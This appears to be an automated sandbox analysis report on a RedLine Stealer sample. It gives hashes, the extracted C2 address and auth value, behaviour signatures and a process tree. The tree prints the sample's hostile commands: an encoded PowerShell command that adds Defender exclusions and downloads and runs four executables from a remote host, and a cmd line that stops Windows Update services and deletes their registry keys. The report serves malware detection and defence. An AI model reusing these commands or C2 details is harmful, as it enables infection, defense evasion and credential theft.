redline | d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db

Analysis

max time kernel
32s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
06/01/2023, 19:19

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General

Target

8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Size

197KB
MD5

78e69dd4d4eb058e9a2de5c4082c3133
SHA1

8aae493caafa6e42a5a7afe431aeac120ce4c152
SHA256

d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
SHA512

42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
SSDEEP

6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/1984-176-0x0000000000430000-0x0000000000450000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 3100 created 1068	3100	SmartDefRun.exe	73
PID 3100 created 1068	3100	SmartDefRun.exe	73
PID 3100 created 1068	3100	SmartDefRun.exe	73
PID 3100 created 1068	3100	SmartDefRun.exe	73

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1148	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
3348	C4Loader.exe
2564	new2.exe
208	SysApp.exe
3100	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2200 set thread context of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2564 set thread context of 1984	2564	new2.exe	93
PID 3100 set thread context of 1748	3100	SmartDefRun.exe	116

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2088	sc.exe
832	sc.exe
4292	sc.exe
1856	sc.exe
4884	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2220	2200	WerFault.exe	80
2360	2564	WerFault.exe	88

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
1148	powershell.exe
1148	powershell.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
208	SysApp.exe
3100	SmartDefRun.exe
3100	SmartDefRun.exe
4100	powershell.exe
4100	powershell.exe
3100	SmartDefRun.exe
3100	SmartDefRun.exe
3100	SmartDefRun.exe
3100	SmartDefRun.exe
4796	powershell.exe
4796	powershell.exe
3100	SmartDefRun.exe
3100	SmartDefRun.exe
1984	vbc.exe
3364	powershell.EXE
2348	powershell.EXE
3364	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeIncreaseQuotaPrivilege	4796	powershell.exe
Token: SeSecurityPrivilege	4796	powershell.exe
Token: SeTakeOwnershipPrivilege	4796	powershell.exe
Token: SeLoadDriverPrivilege	4796	powershell.exe
Token: SeSystemProfilePrivilege	4796	powershell.exe
Token: SeSystemtimePrivilege	4796	powershell.exe
Token: SeProfSingleProcessPrivilege	4796	powershell.exe
Token: SeIncBasePriorityPrivilege	4796	powershell.exe
Token: SeCreatePagefilePrivilege	4796	powershell.exe
Token: SeBackupPrivilege	4796	powershell.exe
Token: SeRestorePrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4796	powershell.exe
Token: SeRemoteShutdownPrivilege	4796	powershell.exe
Token: SeUndockPrivilege	4796	powershell.exe
Token: SeManageVolumePrivilege	4796	powershell.exe
Token: 33	4796	powershell.exe
Token: 34	4796	powershell.exe
Token: 35	4796	powershell.exe
Token: 36	4796	powershell.exe
Token: SeIncreaseQuotaPrivilege	4796	powershell.exe
Token: SeSecurityPrivilege	4796	powershell.exe
Token: SeTakeOwnershipPrivilege	4796	powershell.exe
Token: SeLoadDriverPrivilege	4796	powershell.exe
Token: SeSystemProfilePrivilege	4796	powershell.exe
Token: SeSystemtimePrivilege	4796	powershell.exe
Token: SeProfSingleProcessPrivilege	4796	powershell.exe
Token: SeIncBasePriorityPrivilege	4796	powershell.exe
Token: SeCreatePagefilePrivilege	4796	powershell.exe
Token: SeBackupPrivilege	4796	powershell.exe
Token: SeRestorePrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4796	powershell.exe
Token: SeRemoteShutdownPrivilege	4796	powershell.exe
Token: SeUndockPrivilege	4796	powershell.exe
Token: SeManageVolumePrivilege	4796	powershell.exe
Token: 33	4796	powershell.exe
Token: 34	4796	powershell.exe
Token: 35	4796	powershell.exe
Token: 36	4796	powershell.exe
Token: SeIncreaseQuotaPrivilege	4796	powershell.exe
Token: SeSecurityPrivilege	4796	powershell.exe
Token: SeTakeOwnershipPrivilege	4796	powershell.exe
Token: SeLoadDriverPrivilege	4796	powershell.exe
Token: SeSystemProfilePrivilege	4796	powershell.exe
Token: SeSystemtimePrivilege	4796	powershell.exe
Token: SeProfSingleProcessPrivilege	4796	powershell.exe
Token: SeIncBasePriorityPrivilege	4796	powershell.exe
Token: SeCreatePagefilePrivilege	4796	powershell.exe
Token: SeBackupPrivilege	4796	powershell.exe
Token: SeRestorePrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4796	powershell.exe
Token: SeRemoteShutdownPrivilege	4796	powershell.exe
Token: SeUndockPrivilege	4796	powershell.exe
Token: SeManageVolumePrivilege	4796	powershell.exe
Token: 33	4796	powershell.exe
Token: 34	4796	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2200 wrote to memory of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2200 wrote to memory of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2200 wrote to memory of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2200 wrote to memory of 2092	2200	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	82
PID 2092 wrote to memory of 1148	2092	vbc.exe	85
PID 2092 wrote to memory of 1148	2092	vbc.exe	85
PID 2092 wrote to memory of 1148	2092	vbc.exe	85
PID 1148 wrote to memory of 3348	1148	powershell.exe	87
PID 1148 wrote to memory of 3348	1148	powershell.exe	87
PID 1148 wrote to memory of 3348	1148	powershell.exe	87
PID 1148 wrote to memory of 2564	1148	powershell.exe	88
PID 1148 wrote to memory of 2564	1148	powershell.exe	88
PID 1148 wrote to memory of 2564	1148	powershell.exe	88
PID 1148 wrote to memory of 208	1148	powershell.exe	89
PID 1148 wrote to memory of 208	1148	powershell.exe	89
PID 1148 wrote to memory of 208	1148	powershell.exe	89
PID 1148 wrote to memory of 3100	1148	powershell.exe	90
PID 1148 wrote to memory of 3100	1148	powershell.exe	90
PID 2564 wrote to memory of 1984	2564	new2.exe	93
PID 2564 wrote to memory of 1984	2564	new2.exe	93
PID 2564 wrote to memory of 1984	2564	new2.exe	93
PID 2564 wrote to memory of 1984	2564	new2.exe	93
PID 2564 wrote to memory of 1984	2564	new2.exe	93
PID 2012 wrote to memory of 832	2012	cmd.exe	105
PID 2012 wrote to memory of 832	2012	cmd.exe	105
PID 2012 wrote to memory of 4292	2012	cmd.exe	106
PID 2012 wrote to memory of 4292	2012	cmd.exe	106
PID 2012 wrote to memory of 1856	2012	cmd.exe	107
PID 2012 wrote to memory of 1856	2012	cmd.exe	107
PID 2012 wrote to memory of 4884	2012	cmd.exe	108
PID 2012 wrote to memory of 4884	2012	cmd.exe	108
PID 2012 wrote to memory of 2088	2012	cmd.exe	109
PID 2012 wrote to memory of 2088	2012	cmd.exe	109
PID 2012 wrote to memory of 916	2012	cmd.exe	110
PID 2012 wrote to memory of 916	2012	cmd.exe	110
PID 2012 wrote to memory of 2188	2012	cmd.exe	111
PID 2012 wrote to memory of 2188	2012	cmd.exe	111
PID 2012 wrote to memory of 3152	2012	cmd.exe	112
PID 2012 wrote to memory of 3152	2012	cmd.exe	112
PID 2012 wrote to memory of 4244	2012	cmd.exe	113
PID 2012 wrote to memory of 4244	2012	cmd.exe	113
PID 2012 wrote to memory of 1776	2012	cmd.exe	114
PID 2012 wrote to memory of 1776	2012	cmd.exe	114
PID 3100 wrote to memory of 1748	3100	SmartDefRun.exe	116

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1068
- C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
  "C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:3348
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2564
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1984
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2564 -s 508
        6⤵
        Program crash
        
        PID:2360
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:208
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 264
    3⤵
    - Program crash
    PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:832
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4292
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1856
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4884
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2088
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:916
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2188
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3152
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4244
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
